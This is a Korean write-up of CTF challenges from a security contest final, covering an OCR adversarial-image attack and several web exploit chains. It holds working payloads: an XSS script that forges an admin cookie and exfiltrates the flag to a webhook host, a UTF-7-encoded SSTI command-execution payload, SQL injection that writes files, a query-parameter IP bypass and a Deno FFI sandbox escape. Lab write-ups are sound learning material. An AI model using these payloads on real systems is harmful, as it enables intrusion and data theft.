9 min read
화이트햇콘테스트 2025 본선 writeup

Introduction

2025 WHITEHAT 본선에 참가해 총 6문제를 해결했고(포함 안된 한문제는 테스트용 문제), 최종 성적은 본선 3위를 기록했다.
상은 없긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다(6솔, 2,068점).
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?


1. AI

1.1 Overview

이 문제는 제공된 OCR 모델을 속여 특정 문자열 givemeflag을 출력하게 만드는 Adversarial Attack 문제이다. 서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.

  • Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
  • Given Files:
    • OCR.h5 (Keras OCR Model)
    • main.py (Server preprocessing & inference logic)

핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.

1.2 Analysis

main.py를 보면 서버는 다음 순서로 이미지를 처리한다.

  1. Base64 decode
  2. Convert to grayscale (L mode)
  3. Resize to 32×32
  4. Normalize with /255.0
  5. Softmax → Argmax → Character mapping

즉, 사람이 보기에 정상적인 이미지일 필요가 없고, 모델이 속기 쉬운 패턴을 만드는 것이 목표였다.

1.3 Methodology

  • 문자 하나당 이미지 한 장 → 총 10장
  • FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
  • 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행

Process 요약:

  • 랜덤 노이즈로 이미지 초기화
  • Loss를 타깃 문자 기준으로 최소화
  • 매 스텝마다 clipping(0~1)
  • 일정 기준 충족 시 조기 종료

1.4 Implementation

핵심 구현 방식은 다음과 같다.

  • 문자 → index 변환
  • 랜덤 텐서를 loss 방향으로 최적화
  • logit이 충분히 높아지면 이미지 픽스
  • 최종적으로 PIL로 32×32 Grayscale PNG 저장

Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.

1.5 Verification

OCR.h5 모델에 직접 돌려본 결과:

Target: givemeflag
Predicted: givemeflag
SUCCESS!

모델이 의도대로 문자열을 정확히 인식했다.

1.6 Submission & Flag

Base64 인코딩 후 /check로 제출한 결과:

  • alphabets: [“g”,“i”,“v”,“e”,“m”,“e”,“f”,“l”,“a”,“g”]
  • flag: whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8}
  • text: “givemeflag”

1.7 Discussion

예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
문항 풀이 과정 반절은 잼민이가 도와줬다.


2. Chat

2.1 Overview

이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 /flag/에서 플래그를 획득하는 문제이다.

Server constraints:

  1. 요청 IP는 반드시 127.0.0.1
  2. username 쿠키가 반드시 admin

2.2 Analysis

애플리케이션의 핵심 취약점은 Inline HTML Preview + Playwright Bot 조합이다.

  • 메시지 안에 <div>, <script> 등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨
  • 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
  • 봇은 기본적으로 username=bot 쿠키를 가짐
  • 즉, 공격자가 보낸 JS가 서버 로컬(127.0.0.1) 환경에서 실행됨
    → 사실상 SSRF + XSS의 콜라보

2.3 Exploit

공격 목표는:

  1. 봇의 쿠키를 username=admin으로 변조
  2. /flag/ 요청
  3. 응답 플래그를 외부 Webhook으로 유출

Flow:

  1. 악성 스크립트 포함된 HTML 메시지 전송
  2. 봇이 Preview 렌더링 페이지 접속
  3. JS 실행 → 쿠키 변조
  4. JS 실행 → /flag/ GET
  5. 플래그 Webhook 유출

2.4 Implementation

Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.

import requests
import json
import time

URL = "https://asdf"
WEBHOOK_URL = "https://webhook.site/asdf"

s = requests.Session()
s.verify = False

def register_and_login(username, password):
    # 1. 회원가입
    r = s.get(f"{URL}/register/")
    csrf_token = s.cookies.get('csrftoken')
    data = {
        "csrfmiddlewaretoken": csrf_token,
        "username": username,
        "password1": password,
        "password2": password
    }
    headers = {"Referer": f"{URL}/register/"}
    s.post(f"{URL}/register/", data=data, headers=headers)
    
    # 2. 로그인
    r = s.get(f"{URL}/login/")
    if "logout" in r.text:
        return True
    return False

def send_payload():
    # XSS Payload
    # 쿠키 변조: username=admin
    # 플래그 요청 및 유출
    payload = f"""
<div>
<script>
async function run() {{
    try {{
        // 쿠키 변조
        document.cookie = "username=admin; path=/; secure; samesite=lax";
        
        // 플래그 요청
        let flagRes = await fetch('/flag/');
        let flag = await flagRes.text();
        
        // 외부로 유출
        fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
    }} catch (e) {{
        fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
    }}
}}
run();
</script>
</div>
    """
    
    csrf_token = s.cookies.get('csrftoken')
    data = {
        "csrfmiddlewaretoken": csrf_token,
        "message": payload
    }
    headers = {
        "Referer": f"{URL}/",
        "X-CSRFToken": csrf_token
    }
    
    print("Sending payload...")
    s.post(f"{URL}/api/send/", data=data, headers=headers)

if __name__ == "__main__":
    import uuid
    username = f"attacker_{uuid.uuid4().hex[:8]}"
    password = "password123"
    
    if register_and_login(username, password):
        send_payload()
        print("flag!")

2.5 Discussion

솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니…


3. Scenario 1-1

3.1 Overview

전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
SSTI 취약점으로 flag를 획득하면 된다.


3.2 Analysis

1) Server-Side Template Injection (SSTI)

파일: app/core/pdf_renderer.py

def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
    try:
        template = Template(markdown_content)
        rendered_content = template.render()

사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.


2) Broken Security Filter

파일: app/core/security.py

def safe_markdown(content: str) -> bytes:
    return content.replace("{{", "").replace("}}", "").encode("utf-8")

단순 치환이라 인코딩 우회에 매우 취약하다.


3) UTF-7 Decoding Bug (핵심)

파일: app/api/documents.py

safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")

UTF-8로 인코딩한 후 UTF-7로 디코딩 → {{ }} 패턴 복원됨.

UTF-7 매핑:

+AHsAew- → {{
+AH0AfQ- → }}

필터가 무력화되며 SSTI가 그대로 살아난다.


3.3 Exploit

Step 1 — UTF-7 Payload Construction

Payload:

+AHsAew-7*7+AH0AfQ-

서버 처리 흐름:

UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력

Step 2 — Local PoC

로컬에서 Jinja Template으로 테스트해 정상적으로 {{7*7}}가 복구되고 실행됨을 확인했다.


Step 3 — RCE Payload (UTF-7 Encoded)

원본 SSTI:

{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}

UTF-7 변환 후 최종 payload:

+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-

Step 4 — Exploit Execution

  • /api/documents로 문서 생성
  • 렌더링 상태가 completed 될 때까지 대기
  • /api/documents/<id>/preview로 PDF 다운로드

Step 5 — Extract Flag from PDF

whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}

PDF 내부 텍스트에서 flag가 정상 추출되었다.


3.4 References


4. Scenario 1-2

이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.


5. Scenario 1-3

그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움…


6. Lemo

6.1 Overview

Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다. SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)

6.2 Analysis

1) SQL Injection

server/src/db.tscreateUser 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.

export function createUser(username: string, password: string, role: Role = Role.USER) {
  const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
  return result;
}

이를 통해 일반적인 sqli와 deno의 취약점인 ATTACH DATABASE 취약점을 통해 어드민 계정을 생성하고 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
CVE-2025-48935

2) IP Validation Logic (Nginx & Middleware)

서버는 routes/api/admin/save.ts 접근 시 IP가 127.0.0.1인지 검사한다. 외부에서 접근 시 Nginx가 purify.js를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.

nginx/js/purify.js:

function fix(r) {
    var out = [];
    var args = r.args;
    // ... 기존 ip 파라미터 제거 로직 ...
    
    var real_ip = r.variables.remote_addr || "";
    out.push('ip=' + real_ip);  // 실제 IP를 쿼리 스트링 마지막에 추가
    return out.join('&');
}

하지만 백엔드(routes/_middleware.ts)에서는 npm:qs를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.

routes/_middleware.ts:

import qs from "npm:qs";

async function parseQuery(req: Request) {
    // ...
    const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
    return parsed;
}

// ...
if (ctx.state.query.ip) {
    ctx.state.ip = ctx.state.query.ip;
} else {
    ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
}

qs 라이브러리는 기본적으로 1000개의 파라미터만 파싱하는 제한(parameterLimit)이 있다. 따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 ip=REAL_IP는 파싱 범위 밖으로 밀려나 무시된다. 결과적으로 ctx.state.query.ipundefined가 되고, 서버는 이를 로컬 접속(127.0.0.1)으로 오인하게 된다.

3) NODE_ENV Validation

save.tsNODE_ENV가 “development”일 때만 동작한다. 기본값은 “production”이지만, 앞서 언급한 SQL Injection을 통해 .env 파일을 생성하고 NODE_ENV=development 내용을 주입하여 이를 우회할 수 있다.

4) Deno FFI

deno.json 설정에서 --allow-ffi 옵션이 활성화되어 있다. 이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. libc와 같은 네이티브 라이브러리를 로드하여 fopen, fgetc 등의 함수를 직접 호출하면 --allow-read 제한과 상관없이 모든 파일을 읽을 수 있다.

6.3 Exploit Flow

  1. NODE_ENV Injection: SQL Injection으로 .env 파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어 NODE_ENV=development를 유효한 라인으로 만든다.
  2. Server Restart: routes/ 디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된 .env가 로드된다.
  3. IP Bypass: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는 ip=REAL_IP가 파싱되지 않도록 한다.
  4. RCE: save.ts를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.

6.4 Implementation

FFI Payload (TypeScript): Deno의 권한을 우회하여 /flag를 읽는 코드이다.

import { Handlers } from "$fresh/server.ts";

export const handler: Handlers = {
  async GET(req) {
    try {
      const lib = Deno.dlopen("libc.so.6", {
        fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
        fgetc: { parameters: ["pointer"], result: "i32" },
        fclose: { parameters: ["pointer"], result: "i32" },
      });

      const path = new TextEncoder().encode("/flag\0");
      const mode = new TextEncoder().encode("r\0");
      const fp = lib.symbols.fopen(path, mode);
      
      if (fp === null || fp.value === 0n) return new Response("Failed");
      
      let content = "";
      while (true) {
        const c = lib.symbols.fgetc(fp);
        if (c === -1) break;
        content += String.fromCharCode(c);
      }
      lib.symbols.fclose(fp);
      
      return new Response(content);
    } catch (e) {
      return new Response(e.toString());
    }
  }
};

Exploit Script (Python):

import requests
import time

URL = "http://asdf"

def sql_exec(query):
    # 회원가입 로직을 통한 SQL Injection 수행
    pass

# 1. .env 생성 (NODE_ENV=development)
print("[*] Creating .env...")
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
sql_exec(env_payload)

# 2. 서버 재시작 트리거
print("[*] Triggering restart...")
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
sql_exec(restart_payload)

time.sleep(5) # 재시작 대기

# 3. QS Limit Bypass & Payload Upload
print("[*] Uploading FFI payload...")
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
target_url = f"{URL}/api/admin/save?{dummy_params}"

ffi_code = open("payload.ts", "r").read()
data = {
    "filepath": "api/exploit.ts",
    "content": ffi_code
}

# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
requests.post(target_url, data=data)

# 4. Flag 획득
print("[*] Getting flag...")
res = requests.get(f"{URL}/api/exploit")
print(f"Flag: {res.text}")

6.5 Flag

whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}

6.6 Discussion

단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다. 특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.